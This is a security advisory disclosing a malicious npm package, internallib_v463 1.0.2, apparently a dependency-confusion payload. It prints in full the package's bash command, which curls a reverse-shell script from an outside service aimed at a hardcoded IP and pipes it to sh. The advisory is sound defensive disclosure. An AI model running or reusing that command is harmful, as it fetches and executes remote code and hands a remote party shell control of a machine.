internallib_v463

GHSA-gv94-v8fj-f45c

Malicious code in internallib_v463 (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.2`

## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7)
index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/cf4aebf720e8056d8d57b6578959b6b06703635c/osv/malicious/npm/internallib_v463/MAL-2026-16481.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/cf4aebf720e8056d8d57b6578959b6b06703635c/osv/malicious/npm/internallib_v463/MAL-2026-16481.json
- https://www.npmjs.com/package/internallib_v463/v/1.0.2
- https://github.com/advisories/GHSA-gv94-v8fj-f45c

Compromised versions (1)

= 1.0.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.